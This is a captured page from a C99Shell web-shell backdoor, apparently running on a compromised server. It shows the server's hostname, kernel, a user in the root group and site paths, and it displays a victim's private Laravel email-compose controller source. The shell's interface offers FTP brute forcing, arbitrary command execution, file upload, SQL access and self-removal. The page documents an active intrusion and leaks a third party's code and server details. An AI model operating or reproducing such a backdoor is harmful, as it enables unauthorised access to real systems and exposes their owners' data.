!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ComposeController.php (7.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Events\SendEMail;
use 
App\Http\Controllers\Controller;
use 
App\Models\Contact;
use 
App\Models\EmailQueue;
use 
App\Models\ContactGroup;
use 
App\Models\Unsubscribe;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Str;


class 
ComposeController extends Controller
{
    public function 
index(Request $request)
    {
        
$user auth()->guard('customer')->user();
        
$data['draft'] = $user->drafts()->where('id'$request->draft)->first();

        
$usersToGroups = [];
        
$usersToContacts = [];
        foreach (
$user->active_groups as $group) {
            
$usersToGroups[] = ['value' => $group->name'id' => $group->id'type' => 'group'];
        }
        foreach (
$user->contacts()->limit(10000)->get() as $contact) {
            
$usersToContacts[] = ['value' => isset($contact->first_name) ? $contact->email ' (' $contact->first_name ' ' $contact->last_name ')' $contact->email'id' => $contact->id'type' => 'contact'];
        }


        
$data['users_to_contacts'] = $usersToContacts;
        
$data['users_to_groups'] = $usersToGroups;
        
$data['senders'] = $user->senders()->get();
        return 
view('customer.emailbox.compose'$data);
    }

    public function 
sentCompose(Request $request)
    {
        if (
config("app.demo")){
            return 
redirect()->back()->withErrors(['message' => trans('admin.app_demo_message')]);
        }
            
$request->validate([
                
'from_email' => 'required|email',
                
'subject' => 'required',
                
'to_email' => 'required|array',
                
'body' => 'required',
            ]);


        
$from_email=$request->from_email;
        
$reply_to=$request->reply_to?:$from_email;
        if (!
$from_email)
            return 
back()->withErrors(['message'=>'Please select a from email']);

        
$fromDomain=getDomainFromEmail($from_email);
        
$domain=auth('customer')->user()->domains()->where(['name'=>$fromDomain,
            
'dkim_key_verified'=>'yes',
            
'spf_key_verified'=>'yes',
            
'text_verified'=>'yes',
            
'dmarc_key_verified'=>'yes',
        ])->
first();

        if(
$domain){
            
$request['domain_id']=$domain->id;
        }

        if (isset(
$request->isSchedule)) {
            
$sd Carbon::createFromTimeString($request->schedule);
            
$request['schedule_datetime'] = $sd;
        }
        
$allToEmail = [];
        
$allGroupIds = [];
        
$allContactIds = [];

        foreach (
$request->to_email as $item) {
            
$number = (array)json_decode($item);
            if (isset(
$number['type']) && isset($number['id'])) {
                if (
$number['type'] == 'contact') {
                    
$allContactIds[] = $number['id'];
                } elseif (
$number['type'] == 'group') {
                    
$allGroupIds[] = $number['id'];
                }
            } else {
                
$allToEmail[] = $item;
            }
        }

        
$contactEmails Contact::select('id''email')->whereIn('id'$allContactIds)->get();
        
$groupEmails ContactGroup::with('contact')->whereIn('group_id'$allGroupIds)->get();
        
$unSubscribeEmails Unsubscribe::pluck('email')->toArray();

        foreach (
$contactEmails as $cn) {
            if (!
in_array(trim($cn->email), $unSubscribeEmails)) {
                
$allToEmail[] = trim($cn->email);
            }
        }
        foreach (
$groupEmails as $gn) {
            if (!
in_array(trim($gn->contact->email),$unSubscribeEmails)) {
                
$allToEmail[] = trim($gn->contact->email);
            }
        }

        
$allToEmail array_unique($allToEmail);

        
$request['to_email'] = $allToEmail;
        
$request['emails'] = json_encode(['from' => $from_email'to' => $allToEmail]);
        
$request['type'] = 'sent';

        
$request['from_name']=$request->from_name;
        
$request['reply_to']=$reply_to;
        
$request['subject']=$request->subject;
        
$current_plan auth('customer')->user()->plan;
        if (!
$current_plan)
            return 
back()->with('fail''Customer doesn\'t have any plan right now');

        
//subtracting one Email TODO:: will need to count text and sub that
        
$pre_available_email $current_plan->available_emails;
        
$new_available_email $pre_available_email count($allToEmail);

        
//if not enough Email then return
        
if ($new_available_email 0)
            return 
redirect()->back()->with('fail''Doesn\'t have enough email');

        
$messageFiles = [];
        
$sendFailed = [];
        if (
$request->attach_files) {
            foreach (
$request->attach_files as $key => $file) {
                
$messageFiles[] = $fileName time() . $key '_attachment.' $file->extension();
                
$file->move(public_path('uploads/'), $fileName);
            }
            
$request['message_files'] = json_encode($messageFiles);
        }

        
DB::beginTransaction();
        try {

            
$newMessage auth('customer')->user()->messages()->create($request->all());

            
setActivity(auth('customer')->user()->id'add''compose'$newMessage->id'Sent New Message');

                
$email_queue = [];
                
$i=0;
                foreach (
$request->to_email as $to) {
                    
$email_queue[$i] = [
                        
'random_ref_key' => Str::random(),
                        
'message_id' => $newMessage->id,
                        
'from' => $from_email,
                        
'to' => $to,
                        
'schedule_datetime' => isset($request->isSchedule)?$request->schedule_datetime:now(),
                        
'body' => $request->body,
                        
'created_at' => now(),
                        
'updated_at' => now(),
                        
'from_name'=>$request->from_name,
                        
'reply_to'=>$reply_to,
                        
'subject'=>$request->subject,
                        
'type'=>'sent',
                    ];
                    if(
$domain){
                        
$email_queue[$i]['domain_id']=$domain->id;
                    }
                    
$i++;
                }

                
auth('customer')->user()->email_queues()->createMany($email_queue);
                
auth('customer')->user()->message_logs()->createMany($email_queue);

            
$current_plan->available_emails $new_available_email;
            
$current_plan->save();
            
DB::commit();

            return 
redirect()->back()->with('success''Message queued successfully');

        } catch (
\Exception $ex) {
            
Log::error($ex);
            
DB::rollBack();
            return 
back()->with('fail'$ex->getMessage());
        }
    }

    public function 
queueList(Request $request)
    {

        
$data['queuesList'] = auth('customer')->user()->email_queues()->whereNotNull('schedule_datetime')->whereNull('delivered_at')->orderBy('created_at''desc')->paginate(10);
        return 
view('customer.emailbox.queue'$data);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--